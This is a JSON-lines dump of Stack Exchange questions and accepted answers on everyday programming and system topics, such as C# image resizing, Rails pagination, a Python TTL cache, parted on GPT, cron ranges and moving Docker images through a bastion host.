{  "id": "_codereview.4865"  , "question": "This code is part of one of the methods. I'm pretty sure it is really bad programming. The third if statement is supposed to be called if all 4 variables were set. Is another method needed? How would you write this piece?int width = img.Width;int height = img.Height;int thumbWidth = 0 , thumbHeight = 0;int preWidth = 0, preHeight = 0;//if Landscapeif (width > height && width >= 471){    thumbWidth = 120;    thumbHeight = ((120 * height) / width);    preWidth = 471;    preHeight = ((471 * height) / width);}//if portrait else if (height > width && height >= 353){    thumbHeight = 120;    thumbWidth = ((120 * width) / height);    preHeight = 353;    preWidth = ((353 * width) / height);}//If values were setif (thumbWidth != 0 && thumbHeight != 0 && preWidth != 0 && preHeight != 0){}else {     //do other stuff}"  , "title": "Checking for minimum image dimensions"  , "tags": "c#;image"  , "accepted_answer": "The code is not terrible, but I can make a few observations that we can use to improve the code:It will be useful to know elsewhere (presentation time, perhaps?) whether or not this is portait or landscape. Let's build that now so we can keep the information somewhere useful.The only ways any of those values will ever by 0 (not set) is if height or width is zero, or the image is too small. That's probably an invalid state to begin with, and it should the responsibility of the code that calls this to deal with it. So let's check for that up front.I'm concerned about your use of magic numbers: 471, 353, and 120. I'd love to see those factored out to variables.With that in mind, here's an idea://there are better places to define this, but I'll leave them here now for convenience in this exampleint minLandscapeWidth = 471, minPortiatHeight = 353, thumbLongSide = 120;int width = img.Width;int height = img.Height;//you may not need these checks, depending what your img object is and how you use itif (width <= 0) throw new InvalidOperationException(img.Width should be greater than zero);if (height<= 0) throw new InvalidOperationException(img.Height should be greater than zero);bool landscape = (width > height);if ( (landscape && width < minLandscapeWidth) || (!landscape && height < minPortraitHeight) )    throw new InvalidOperationException(the image is too small);int thumbWidth, thumbHeight, preWidth, preHeight;if (landscape){    thumbWidth = thumbLongSide;    thumbHeight = ((thumbLongSide * height) / width);    preWidth = minLandscapeWidth;    preHeight = ((minLandscapeWidth * height) / width);}else {    thumbHeight = thumbLongSide;    thumbWidth = ((thumbLongSide * width) / height);    preHeight = minPortraitHeight ;    preWidth = ((minPortraitHeight * width) / height);}//values are now set"  } 
{  "id": "_codereview.62856"  , "question": "This code for my blog checks to see if tags are in the params hash. If they are, then only posts that are tagged will be paginated. Otherwise, all of the posts are paginated.class PostsController < ApplicationController  def index    if params[:tag]      @posts = Post.tagged_with(params[:tag]).paginate(page: params[:page])    else      @posts = Post.all.paginate(page: params[:page])    end  endendI feel like this checking of params shouldn't be the concern of the controller, but of some other model like PostParameterChecker. How do you feel about this? Where does this code actually belong?"  , "title": "Rails controller method that conditionally filters results"  , "tags": "ruby;ruby on rails;mvc;controller"  , "accepted_answer": "I'd say that this does belong in the controller. It's the controller's job to handle requests (including params) and prepare the view - which is what your code does.That said, I wouldn't be opposed to tokland's suggestion of moving the logic to the scope. But personally I would rather choose whether or not to call a scope method at all, than let the scope handle nils by basically doing nothing. It's largely a matter of opinion, though. (You could even move the logic in the other direction, so to speak, and add a /posts/tagged route and wholly separate action.)Anyway, you can tweak the action a bit:def index  @posts = params[:tag] ? Post.tagged_with(params[:tag]) : Post.all  @posts = @posts.paginate(page: params[:page])endor, avoiding the variable re-assignment (which is also avoidable by just using two different variables, of course):def index  @posts = if params[:tag]    Post.tagged_with(params[:tag])  else    Post.all  end.paginate(page: params[:page]endIt could still be a ternary of course.In general though, skinny controller, fat model is a good rule of thumb. But for things like this I think the controller still has a role to play."  } 
{  "id": "_datascience.948"  , "question": "I have found a number of libraries and tools for data science in Scala, I would like to know about which one has more adoption and which one is gaining adoption at a faster pace and to what extent this is the case. Basically, which one should I bet for (if any at this point).Some of the tools I've found are (in no particular order):ScaldingBreezeSparkSaddleH2OSpireMahoutHadoopMongoDBIf I need to be more specific to make the question answerable: I'm not particularly interested in clusters and Big Data at this moment, but I'm interested in sizable data (up to 100 GB) for information integration and predictive analytics."  , "title": "Any clear winner for Data Science in Scala?"  , "tags": "tools"  } 
{  "id": "_softwareengineering.326207"  , "question": "MyBase is forcing implementation of method f() in all children. This can be achieved either by using abc.ABCMeta to make f() an abstractmethod:import abcclass MyBase(metaclass=abc.ABCMeta):    @abc.abstractmethod    def f(self, x):        passclass Child1(MyBase):    def f(self, x):        print(x)class Child2(MyBase):    passChild1().f(4)   # prints 4Child2().f(4)   # TypeError: Can't instantiate abstract class Child2 with abstract methods fMyBase()        # TypeError: Can't instantiate abstract class MyBase with abstract methods f..or alternatively, by NotImplementedError: class MyBase():    def f(self, x):        raise NotImplementedError('Abstract method not implemented.')class Child1(MyBase):    def f(self, x):        print(x)class Child2(MyBase):    passChild1().f(4)   # prints 4Child2().f(4)   # raises implementation errorMyBase()        # does NOT raise errorUsing an abstract class instead of returning NotImplementedError disallows for example accidental instantiation of MyBase(). Are there any other benefits (or drawbacks) from using an abstract class over NotImplementedError?"  , "title": "Using NotImplementedError instead of abstract classes"  , "tags": "python;abstract class;python 3.x"  } 
{  "id": "_softwareengineering.275806"  , "question": "We have a moderately sized Grails web application using GORM/Hibernate over PostgreSQL and GSPs serving HTML, and also a few REST APIs. We are standardising on Scala, and would like to migrate this application to Play or Spray, with Slick to access the existing database.Nimble is currently used for authentication/authorisation and user/role/etc. management.What are the approaches we can take in order to do the migration step by step, avoiding a big bang migration?They are both JVM languages, is there a way to avoid treating them as separate web apps running on separate ports at arms length?"  , "title": "Migrating a Grails application to Scala Play/Spray"  , "tags": "scala;grails;playframework"  } 
{  "id": "_softwareengineering.162937"  , "question": "My company is currently at a rebranding process and the brand names have been used in the sources' package names but these names are only visible to developers who maintain this code so nobody from project management is really interested in changing them considering also that it would imply the recompiling of several old components.What factors do I need to consider when deciding on a change like that?I don't know if I should worry about legal issues or not and if so, how to address this with project management.More background details. I have all the sources and dependencies but since the company rebranding, other development areas have adopted some of the code that needs package name-changing so I cannot take the decision only by myself so I don't make everyone else's code to crash with my core components and I cannot change other areas' code without the permission of those areas' users so yes, my concern is more political than technical. I am going try to coordinate the involved it areas to make the change anyway, since it seems to be the best approach. Unfortunatelly in my company there's no continuous integration build server so we build our code manually on demand and to get something to production I have to justify the change (even just the package name changing) to QA with an user requirement and some other bureaucratic documentation so that's why I was hesitating the change in first place."  , "title": "What do I need to learn to decide on rename/recompile source package names because of company rebranding?"  , "tags": "project management;refactoring;legal;packages"  , "accepted_answer": "This is usually a political/marketing question as much as technical. I have been involved in mergers where changing all references to the old name was mandatedAssuming it is just a technical question, are you missing buildable source for any of the components or are there similar significant technical risks? Will making the change break backwards compatibility when backwards compatibility is important? If the answer to either of these questions is yes, clearly avoid the change.Otherwise, I would recommend making the change. Changing it is only going to get harder as more development is done and, otherwise, you will need to explain it to every new developer on the project."  } 
{  "id": "_unix.102233"  , "question": "What is technically the difference of a process that started in foreground and was manually put into background and a daemon? Do they have different properties?"  , "title": "Difference between process in background and daemon"  , "tags": "process;daemon;background process"  , "accepted_answer": "You can take a look at the definition of a Daemon, which tells you what the properties of a daemon are, so biggest ones are:No Controlling Terminal - STDIN, STDOUT, STDERR associated with starting terminal are redirected.Parent Process is set to initDaemon is a Process Group Leader."  } 
{  "id": "_codereview.79095"  , "question": "I needed a simple expiring in-memory cache module for a project I'm working on and I've come up with the following.My requirements for the cache module are:Be able to expire objects after certain period of timeUse what we have in the standard libraryKeep it simpleSo far I've got this.Expiring in-memory cache moduleimport loggingimport threadingfrom time import timefrom collections import OrderedDict__all__ = ['CachedObject', 'CacheInventory', 'CacheException']class CacheException(Exception):            Generic cache exception            passclass CachedObject(object):    def __init__(self, name, obj, ttl):                Initializes a new cached object        Args:            name               (str): Human readable name for the cached entry            obj               (type): Object to be cached            ttl                (int): The TTL in seconds for the cached object                self.hits = 0        self.name = name        self.obj = obj        self.ttl = ttl        self.timestamp = time()class CacheInventory(object):        Inventory for cached objects        def __init__(self, maxsize=0, housekeeping=0):                Initializes a new cache inventory        Args:            maxsize      (int): Upperbound limit on the number of items                                that will be stored in the cache inventory            housekeeping (int): Time in minutes to perform periodic                                cache housekeeping                if maxsize < 0:            raise CacheException('Cache inventory size cannot be negative')        if housekeeping < 0:            raise CacheException('Cache housekeeping period cannot be negative')        self._cache = OrderedDict()        self.maxsize = maxsize        self.housekeeping = housekeeping * 60.0        self.lock = threading.RLock()        if self.housekeeping > 0:            threading.Timer(self.housekeeping, self.housekeeper).start()    def __len__(self):        with self.lock:            return len(self._cache)    def __contains__(self, key):        with self.lock:            if key not in self._cache:                return False            item = self._cache[key]            if self._has_expired(item):                return False            return True    def _has_expired(self, item):                Checks if a cached item has expired and removes it if needed        If the upperbound limit has been reached then the last item        is being removed from the inventory.        Args:            item (CachedObject): A cached object to lookup                with self.lock:            if time() > item.timestamp + item.ttl:                logging.debug(                    'Object %s has expired and will be removed from cache [hits %d]',                    item.name,                    item.hits                )                self._cache.pop(item.name)                return True            return False    def add(self, obj):                Add an item to the cache inventory        Args:            obj (CachedObject): A CachedObject instance to be added        Raises:            CacheException                if not isinstance(obj, CachedObject):            raise Exception('Need a CachedObject instance to add in the cache')        with self.lock:            if self.maxsize > 0 and len(self._cache) == self.maxsize:                popped = self._cache.popitem(last=False)                logging.debug('Cache maxsize reached, removing %s [hits %d]', popped.name, popped.hits)            logging.debug('Caching object %s [ttl: %d seconds]', obj.name, obj.ttl)            self._cache[obj.name] = obj    def get(self, key):                Retrieve an object from the cache inventory        Args:            key (str): Name of the cache item to retrieve        Returns:            The cached object if found, None otherwise                with self.lock:            if key not in self._cache:                return None            item = self._cache[key]            if self._has_expired(item):                return None            item.hits += 1            logging.debug(                'Returning object %s from cache [hits %d]',                item.name,                item.hits            )            return item.obj    def housekeeper(self):                Remove expired entries from the cache on regular basis                with self.lock:            expired = 0            logging.info(                'Starting cache housekeeper [%d items in cache]',                len(self._cache)            )            for name, item in self._cache.items():                if self._has_expired(item):                    expired += 1            logging.info(                'Cache housekeeper completed [%d removed from cache]',                expired            )            if self.housekeeping > 0:                threading.Timer(self.housekeeping, self.housekeeper).start()Here's an example usage of the caching module:>>> from __future__ import print_function>>> from __future__ import absolute_import>>> from . import CachedObject>>> from . import CacheInventory>>> cache = CacheInventory(housekeeping=60) # housekeeper will run every 60 minutes>>> obj = {'key1': 'value1', 'key2': 'value2'}>>> cached_obj = CachedObject(name='mydictionary', obj=obj, ttl=60) # object will expire in 60 seconds>>> cache.add(obj=cached_obj)>>> print(cache.get('mydictionary')){'key2': 'value2', 'key1': 'value1'}>>> # 60 seconds later -> the object has expired already... >>> print(cache.get('mydictionary'))NoneI'm currently using this caching module for storing VMware vSphere managed objects and the code can also be found in Github:https://github.com/dnaeon/py-vconnector/blob/master/src/vconnector/cache.pyAny thoughts, remarks or suggestions about the design and implementation of this caching module?"  , "title": "Expiring in-memory cache module"  , "tags": "python;python 2.7;python 3.x"  , "accepted_answer": "In this loop you're not using name:for name, item in self._cache.items():    if self._has_expired(item):        expired += 1If you only need the values, then iterate over just the values:for item in self._cache.values():    if self._has_expired(item):        expired += 1You don't need an if statement here:if self._has_expired(item):    return Falsereturn TrueYou can simplify by using the negated boolean expression directly:return not self._has_expired(item)This expression can be simplified:if self.maxsize > 0 and len(self._cache) == self.maxsize:Using chained comparison:if 0 < self.maxsize == len(self._cache):"  } 
{  "id": "_unix.340593"  , "question": "I'm trying to execute a command repeatedly on every LOL file in a directory and have the output share the base name. My first thought is find . -type f -iname '*.lol' -exec command {} {}.out \\: I know this will result in a lot of lol.out files, but I can rename those in a second step. The problem I'm having is that the command is failing on every file, although I can manually type it in successfully. I would like to debug my metacommand, but I don't know how to see the command that is actually being executed. Is there a way to get find to generate the list of commands it intends to execute?"  , "title": "Preview the command formed by find -exec"  , "tags": "find"  } 
{  "id": "_unix.313116"  , "question": "Environmenthost with windows 10, kitty, vcxsrvguest with centos6, twinkleSituationon windows I have start vcxsrv and kitty with Xforward and connect to centos6. When in kitty I start twinkle I see thisNotesWhen I start for example xterm it looks normal.QuestionDo you have any sugestion how to solve this situation?"  , "title": "twinkle: chars are shown as rectangles"  , "tags": "fonts;qt;vcxsrv"  } 
{  "id": "_hardwarecs.7541"  , "question": "I am looking into getting a new laptop. I will mostly be using it for internet and Word, but also might be using games/programs such as Star Wars: The Old Republic, Lord of the Rings Online, and Maple. I am also hoping it will last me 5 years.The laptop currently on the top of my list is currently the MSI GT62VR DOMINATOR PRO-239, which has two avalible models, (1) and (2). The only difference appears to be that the first has 32 GB RAM at 2133 MHz while the second has 32 GB RAM at 2400 MHz, but the second one costs about $45 more. Is the model with the faster RAM worth the extra money?"  , "title": "Buying a new laptop: 32 GB RAM at 2133 MHz or 2400 MHz for $45 more?"  , "tags": "laptop;memory"  } 
{  "id": "_unix.248118"  , "question": "I see the following in ~/.bashrc :       if [ -z ${debian_chroot:-} ] && [ -r /etc/debian_chroot ]; then     debian_chroot=$(cat /etc/debian_chroot) fiwhich means if the variable is not set, and the file exists and is readable, then set the file's content to the variable.Am I supposed to write something to that file while preparing to chroot?If yes, then I'll have to remove that file at the end of chroot job!     any explanation or suggestions will be appreciated."  , "title": "How can I use debian_chroot in bashrc to identify the chroot env?"  , "tags": "bash;debian;chroot;bashrc"  , "accepted_answer": "This variable is just for building the default PS1 shell prompt down below:PS1='${debian_chroot:+($debian_chroot)}\\u@\\h:\\w\\$ 'So it is not essential to create the file, although it can be nice having the prompt identifying where you are.As you can see -r tests for a file and if the user can read it, and if it exists, debian_chroot gets the content of it, so create /etc/debian_chroot inside the chroot with the wording you want. (inside, do not do it at the true root, as wont be inside the chroot )So if your chroot is at /mnt, the file you would need to modify is /mnt/etc/debian_chroot (and not /etc/debian_chroot)."  } 
{  "id": "_unix.204037"  , "question": "I have a python program which I need to run every minute from 11PM (EDT) to 06AM (EDT). How can I schedule a cron job to do this?* 23-6 * * 1-5 python my_program.pywill this work? or do I have to write 2 separate cron jobs for this?"  , "title": "Cron job to run every minute from 11PM to 6AM"  , "tags": "cron"  } 
{  "id": "_reverseengineering.16183"  , "question": "I'm going to do reverse engineering, So I have extracted a .bin file from a flash and use Binwalk to analyze it. but binwalk just show me some zlip compression format without any size as shown in image. It doesn't show me anything about bootloader or kernel image. when I use binwalk -I *.bin -y LZMA it show me LZMA format just with properties value X6D and dictionary size 0X00 and Uncompressed Size: 0X00, while I know the kernel was compressed with LZMA compression format.Could you please guide me, why binwalk show me zlib with no size and why it doesn't show me anything about bootlader and kernel?Thanks "  , "title": "binwalk show zlib format without any size"  , "tags": "binary analysis;firmware;tools"  } 
{  "id": "_unix.53288"  , "question": "I was fiddling around with parted command on a loopback disk and tried to create some partitions using gpt part table but I keep getting Error: Unable to satisfy all constraints on the partition. when trying to create a logical partition$ sudo parted /dev/loop0(parted) mktable gpt(parted) mkpart primary 1MiB 201MiB(parted) mkpart extended 201MiB -0MiB(parted) unit MiB printModel: Loopback device (loop)Disk /dev/loop0: 102400MiBSector size (logical/physical): 512B/512BPartition Table: gptNumber  Start    End        Size       File system  Name      Flags 1      1.00MiB  201MiB     200MiB                  primary 2      201MiB   102400MiB  102199MiB               extended(parted) mkpart logical 202MiB 1024MiBError: Unable to satisfy all constraints on the partition.Recreating the same partitions using msdos part table doesn't give such error, though. So any idea what's wrong?% sudo parted /dev/loop0GNU Parted 2.3Using /dev/loop0Welcome to GNU Parted! Type 'help' to view a list of commands.(parted) mktable msdos                                                    (parted) mkpart primary 1MiB 201MiB(parted) mkpart extended 201MiB -0MiB                                   (parted) mkpart logical 202MiB 1024MiB                                 (parted) unit MiB print                                                   Model: Loopback device (loop)Disk /dev/loop0: 102400MiBSector size (logical/physical): 512B/512BPartition Table: msdosNumber  Start    End        Size       Type      File system  Flags 1      1.00MiB  201MiB     200MiB     primary 2      201MiB   102400MiB  102199MiB  extended               lba 5      202MiB   1024MiB    822MiB     logical"  , "title": "Unable to create logical partition with Parted"  , "tags": "partition;gpt;parted;disk"  , "accepted_answer": "The extended and logical partitions make sense only with msdos partition table. It's only purpose is to allow you to have more than 4 partitions. With GPT, there are only 'primary' partitions and their number is usually limited to 128 (however, in theory there is no upper limit implied by the disklabel format). Note that on GPT none of the partitions could overlap (compare to msdos where extended partition is expected to overlap with all contained logical partitions, obviously).Next thing about GPT is that partitions could have names, and here comes the confusion: the mkpart command has different semantics depending on whether you use GPT or msdos partition table.With msdos partition table, the second argument to mkpart is partition type (primary/logical/extended), whereas with GPT, the second argument is the partition name. In your case it is 'primary' resp. 'extended' resp. 'logical'. So parted created two GPT partitions, first named 'primary' and second with name 'extended'. The third partition which you tried to create (the 'logical' one) would overlap with the 'extended', so parted refuses to do it.In short, extended and logical partitions do not make sense on GPT. Just create as many 'normal' partitions as you like and give them proper names."  } 
{  "id": "_unix.269643"  , "question": "A question concerning the time synchronization between the host and the guest System.I am using Windows 7 as my host OS and CentOS 7 is installed as VM in an Oracle VirtualBox environment without network access. I am searching for a solution which allows the VM to get the correct time after a reboot or a snapshot. The challenge is, that I would collect the time from the host system without installation of additional tools. Do you have an idea?"  , "title": "Time sync in VM between Windows as host and CentOS as guest without network"  , "tags": "linux;virtualbox;clock"  , "accepted_answer": "If you guest is Centos Linux then you need to install DKMS (Dynamic Kernel Module Support) package.# yum install dkms# yum install virtualbox-guest-additionsFor reference you can check this Without virtualbox-guest-additions toolDisable the ntp servicechkconfig ntpd offFor Windows HostGo toC:\\Documents and Settings\\.VirtualBox\\Machines\\and edit the xml file.>Create a backup of this file<   Add the lineVBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled 0 "  } 
{  "id": "_unix.332568"  , "question": "It doesn't really specify what to set the path of the BIOS files and HDD image(s). I've looked on YouTube and elsewhere. No luck.Here's what I have (it's probably incorrect.) Here are the relevant lines:romimage: file=BIOS-bochs-latestvgaromimage: file=VGABIOS-lgpl-latestata0-master: type=disk, path=c.imgata0-slave: type=disk, path=d.imgboot: c"  , "title": "BOCHS - what to set for BIOS images and HDD image?"  , "tags": "emulation"  } 
{  "id": "_codereview.19263"  , "question": "Based on the answer to my question on StackOverflow, I have ended up with the following code:public class ColumnDataBuilder<T>{    public abstract class MyListViewColumnData    {        public string Name { get; protected set; }        public int Width { get; protected set; }        public ColumnType Type { get; protected set; }        public delegate TOUT FormatData<out TOUT>(T dataIn);        protected abstract dynamic GetData(T dataRow);        public string GetDataString(T dataRow)        {            dynamic data = GetData(dataRow);            switch (Type)            {                case ColumnType.String:                case ColumnType.Integer:                case ColumnType.Decimal:                    return data.ToString();                case ColumnType.Date:                    return data.ToShortDateString();                case ColumnType.Currency:                    return data.ToString(c);                    break;                case ColumnType.Boolean:                    var b = (bool)data;                    if (b) return Y;                    else return N;                default:                    throw new ArgumentOutOfRangeException();            }        }    }    public class MyListViewColumnData<TOUT> : MyListViewColumnData    {        public MyListViewColumnData(string name, int width, ColumnType type, FormatData<TOUT> dataFormater)        {            DataFormatter = x => dataFormater(x); // Per https://stackoverflow.com/a/1906850/298754            Type = type;            Width = width;            Name = name;        }        public Func<T, TOUT> DataFormatter { get; protected set; }        protected override dynamic GetData(T dataRow)        {            return DataFormatter(dataRow);        }    } }This is called from a factory method (in ColumnDataBuilder) as public MyListViewColumnData Create<TOUT>(string name, int width, ColumnType type, MyListViewColumnData.FormatData<TOUT> dataFormater){    return new MyListViewColumnData<TOUT>(name, width, type, dataFormater);}public MyListViewColumnData Create(string name, int width, MyListViewColumnData.FormatData<DateTime> dataFormater){    return new MyListViewColumnData<DateTime>(name, width, ColumnType.Date, dataFormater);}...That, in turn, is called from my code as:builder.Create(Date, 40, x => x.createdDate);and private ListViewItem CreateListViewItem<TDATA>(IEnumerable<ColumnDataBuilder<TDATA>.MyListViewColumnData> columns, TDATA rowData){    var item = new ListViewItem();    foreach (var col in columns)    {        item.SubItems.Add(col.GetDataString(rowData));    }    item.SubItems.RemoveAt(0); // We generate an extra SubItem for some reason.    return item;}How can I refactor this so that I'm not using dynamic, but still preserve the syntax as it currently exists in the code?"  , "title": "Refactoring to avoid the use of dynamic"  , "tags": "c#"  , "accepted_answer": "I don't think you need MyListViewColumnData class there, I would replace it with interface and move the GetDataString implementation to MyListViewColumnData<TOut>. And you don't need dynamic here, just use object instead (yes, it will use boxing for most cases except strings, but it's more efficient than dynamics).public class ColumnDataBuilder<T>{    public interface IMyListViewColumnData    {        string Name { get; }        int Width { get; }        ColumnType Type { get; }        string GetDataString(T dataRow);    }    public delegate TOut FormatData<out TOut>(T dataIn);    public class MyListViewColumnData<TOut> : IMyListViewColumnData    {        public string Name { get; private set; }        public int Width { get; private set; }        public ColumnType Type { get; private set; }        private readonly FormatData<TOut> _dataFormatter;        public MyListViewColumnData(string name, int width, ColumnType type, FormatData<TOut> dataFormater)        {            _dataFormatter = dataFormater;            Type = type;            Width = width;            Name = name;        }        public string GetDataString(T dataRow)        {            object data = _dataFormatter(dataRow);            switch (Type)            {                case ColumnType.String:                case ColumnType.Integer:                case ColumnType.Decimal:                    return data.ToString();                case ColumnType.Date:                    return ((DateTime)data).ToShortDateString();                case ColumnType.Currency:                    return ((decimal)data).ToString(c);                case ColumnType.Boolean:                    return (bool)data ? Y : N;                default:                    throw new ArgumentOutOfRangeException();            }        }    }    public IMyListViewColumnData Create<TOut>(string name, int width, ColumnType type, FormatData<TOut> dataFormater)    {        return new MyListViewColumnData<TOut>(name, width, type, dataFormater);    }    public IMyListViewColumnData Create(string name, int width, FormatData<DateTime> dataFormater)    {        return new MyListViewColumnData<DateTime>(name, width, ColumnType.Date, dataFormater);    }}public enum ColumnType{    String,    Integer,    Decimal,    Date,    Currency,    Boolean}UpdateIn comments it was asked if you can extract interface for ColumnDataBuilder. Of course you can :), and the easiest way would be to use Extract interface refactoring from ReSharper :). If you still don't use it you'll have to do that manually (move the IMyListViewColumnData and FormatData<TOut> declarations out of ColumnDataBuilder<T> first):public interface IColumnDataBuilder<Tin>{    IMyListViewColumnData Create<TOut>(string name, int width, ColumnType type, FormatData<TOut> dataFormater);    IMyListViewColumnData Create(string name, int width, FormatData<DateTime> dataFormater);}"  } 
{  "id": "_unix.40810"  , "question": "I am running the stock Xfce spin of Fedora 17 in a VirtualBox virtual machine, and just installed the CDM display manager via yum. I modified the /etc/cdmrc file to start xfce, and added the following to /etc/sysconfig/desktop:DISPLAYMANAGER=/usr/bin/cdmHowever, upon reboot the process hangs right after the Fedora logo appears with this:Cannot open font file TrueCan anyone help me diagnose and troubleshoot this problem? Thank you very much!"  , "title": "Fedora 17 boot hangs after changing to CDM"  , "tags": "fedora;boot;display manager"  } 
{  "id": "_cs.33171"  , "question": "I know that IS (is there independent set of size at least $k$?) on planar cubic graphs is NP-Complete, and IS on triangle-free graphs is also NP-Complete. But how about IS on triangle-free planar cubic graphs? Is it still an NP-Complete problem, or there are some polynomial time solutions? Any ideas or referrences are appreciated, thank you in advance!"  , "title": "Complexity of Independent Set on Triangle-Free Planar Cubic Graphs"  , "tags": "complexity theory;graphs;time complexity;np complete"  } 
{  "id": "_unix.322098"  , "question": "I have a couple machines running in an isolated environment. They can be accessed via a bastion machine which has a public IP address. I'm currently trying to automate the distribution of docker images created in local machine to machines in the isolated environment.Currently I have the following command:docker save test/myapp  |  gzip  | pv | ssh ubuntu@bastion cat > remoteThis command copies a file to the bastion machine. The problem is that I don't want anything to be saved in the bastion machine drive. I want to write a script in the bastion machine that delivers the image to all machines in an isolated environment that don't have public IP address.I think that I should have some kind of a script in bastion machine that would take input from a pipe. The script should make an ssh command to each machine and run docker in a load image command. This would be easy to do with a docker machine but I can't use it because it requires Internet connection. Any ideas?In short: I want to deliver a docker image from local machine to multiple servers via the bastion server.I am pretty new in this kind of scripting so I'm sorry if my question is trivial but thus far I haven't been able to solve it."  , "title": "Delivering docker image to multiple servers without docker machine"  , "tags": "ssh;docker"  } 
{  "id": "_cs.44335"  , "question": "I got this question in a past test that I'm trying to solve but i don't have the solutions to check my self:Given a set of n segments $[a_i ,b_i]$ where $i=1,..,n$ and $a_i < b_i$.write an algorithm which find a segment that the number of segments $[a_l ,b_l]$ before it $(b_l < a_i)$ are equal to the number of segments $[a_r ,b_r]$ after it $(b_i < a_r)$the algorithm will return its index if found else nullThe algorithm should work in $O(n\\log n)$ in worst case.My solution is:running heapsort by $a_i$ (runs in $O(n\\log n)$)running bucket sort by $b_i$ which each bucket is $a_i$ (runs in $(O(n))$)loop on each member (X) in reverse order and finding using binary-sort on the rest of the set the segment (Y) which its $b_i$ is equal or max close to $a_i$ and writing in the Y the distance of X from the end of list (number of segments which are right of Y) and writing in X the index of Y (number of segments which are left of X). that happens in (runs in $O(nlgn)$) loop on each member the looking up for an element with (left_count equals right_count) not equals zero and return it  (runs in $O(n)$)if nothing found - return nullSo finally the algorithm works in $2lgn + 2n$ which is $O(nlgn)$Am I right? There is a better solution?"  , "title": "Finding a segment which has equal number of segments before and after it"  , "tags": "algorithms;time complexity;search algorithms;sorting"  , "accepted_answer": "Here is an algorithm that achieves $O(n\\log n)$ complexity without any elaborate data structures. Just a simple sort and a couple of loops.Sort all the $\\{a_i,b_i\\}$ together. Call the resulting sequence $(x_1,\\ldots,x_{2n})$.Set $n_a\\gets0$, $n_b\\gets0$.Loop for $n_b$: For $t$ going from $1$ to $2n$ do:If $x_t=b_i$ for some $i$, increment $n_b$Else if $x_t=a_j$ for some $j$, set $L_j\\gets n_b$Loop for $n_a$: For $t$ going from $2n$ down to $1$ do:If $x_t=a_i$ for some $i$, increment $n_a$Else if $x_t=b_j$ for some $j$, set $R_j\\gets n_a$Now for each interval $[a_i,b_i]$, $L_i$ and $R_i$ contain the number of intervals to its left and to its right, respectivelyFinal loop: For $i$ going from $1$ to $n$If $L_i=R_i$, return $i$Found nothing: Return null.You might need to make some additional checks to take care of cases where $a_i=b_j$ for $i\\not=j$.Note that equality checks of the form $x_t=b_i$ can be done by saving the sorting indices. In other words, if you sort an array $u$ into another array $v$, you can save indices $\\pi_t$ such that $u_t=v_{\\pi_t}$."  } 
{  "id": "_unix.286616"  , "question": "I'm wondering how I could monitor spinlocks. At my client, we have cpu soft lockup failure, for which, if I understand well, spinlock is a likely cause.Different team use that server for predictive modeling using R, Python and SAS, meaning we often have many unsupervized processes running in parallel, possibly with multiprocessing librairies.Monitoring the number of spinlocks or, even better, which processes used them, might help in validating or invalidating them as a cause for our frequent failures (5 during the last 3 weeks).Is there any way to monitor them? If not, how could we know what would be causing those soft lockups?"  , "title": "how to monitor spinlocks"  , "tags": "linux;cpu;crash;spinlock"  } 
{  "id": "_unix.204711"  , "question": "I am having this weird problem while trying to edit the tags of my music library: I modify them with EasyTAG and there seems to be no problem (VLC recognizes the changes I make), but I then transfer the music to my audio player and it does not recognizes the changes. Note, that this issue does not happen all of my records, but only a small portion (less than 1%). What could be wrong and how can I fix it? "  , "title": "Why can't I edit the tags of some mp3 files?"  , "tags": "audio;mp3;tagging"  } 
{  "id": "_codereview.171242"  , "question": "I am on the process of changing jobs, so I would like to get an idea of what I do wrong in order to improve. For this, I have created a small node module. It's very simple; it calculates linear motion (distance, velocity, time). I am interested in knowing what I do wrong, whether it's some crucial mistake or something secondary as the way I format my comments./***   Checks whether two values are valid to be operated with*   @param {Float} operandA*   @param {Float} operandB*   @return {Boolean}*/const areValuesValid = (operandA, operandB) => {    if(isNaN(operandA) || isNaN(operandB)) return false;    if(operandA === null || operandB === null) return false;    return true;}/***   Rounds a value to a max of two decimals*   @param {Float} val*   @return {Float}*/const round = (val) => {    return Math.round(val * 100) / 100;}/***   Calculates the time in relation to the velocity and the distance*   @param {Float} velocity*   @param {Float} distance*   @return {Float}*/const calculateTime = (velocity, distance) => {    if(areValuesValid(velocity, distance) === false)        return 0;    if(parseFloat(velocity) === 0)        return 0;    return round(distance / velocity);}/***   Calculates the velocity in relation to the time and the distance*   @param {Float} time*   @param {Float} distance*   @return {Float}*/const calculateVelocity = (time, distance) => {    if(areValuesValid(time, distance) === false)        return 0;    if(parseFloat(time) === 0)        return 0;    return round(distance / time);}/***   Calculates the distance in relation to the velocity and the time*   @param {Float} velocity*   @param {Float} time*   @return {Float}*/const calculateDistance = (velocity, time) => {    if(areValuesValid(velocity, time) === false)        return 0;    return round(velocity * time);}module.exports = { areValuesValid, calculateTime, calculateVelocity, calculateDistance }If anybody is willing to go the extra mile, I have created a repository with this code, which also includes some tests. Github. I would like to know if I go about the tests the right way, if the module structure makes sense and whatever else is criticizable."  , "title": "NodeJS module to calculate linear motion"  , "tags": "javascript;unit testing;node.js;modules;physics"  , "accepted_answer": "Nice documentation. This code is clear and easy to read. Here are some basic nits:You should probably follow standard JSDoc conventions. Don't do this:/****/Do this instead:/** * */If you're nitpicky about the @param, Float technically doesn't exist since all JavaScript numbers are floats. Use Number instead.See this SO post about rounding to 2 decimal places. Using it is completely up to you, there's nothing wrong with the way you're doing it. (This suggestion is slower, but looks cool I guess)const round = val => {    return +val.toFixed(2);};You know the constraints of your areValuesValid() function, there's no need to === false.const calculateTime = (velocity, distance) => {    if (areValuesValid(velocity, distance) && parseFloat(velocity) !== 0) {        return round(distance / velocity);    }    return 0;}Also, why the need to do parseFloat(velocity)? If you know all your arguments will be numbers, this is unnecessary. If you don't know the data type of your arguments, you should probably enforce that they are numbers using typeof.Happy coding!"  } 
{  "id": "_unix.129330"  , "question": "I'm trying to recreate the Blackbox Gray theme for Openbox. However, the size of the grips is smaller in Openbox compared to Blackbox. Is there a setting somewhere that controls the size of the grips?Openbox:Blackbox:"  , "title": "Adjusting the width of the grip for an Openbox theme"  , "tags": "openbox"  } 
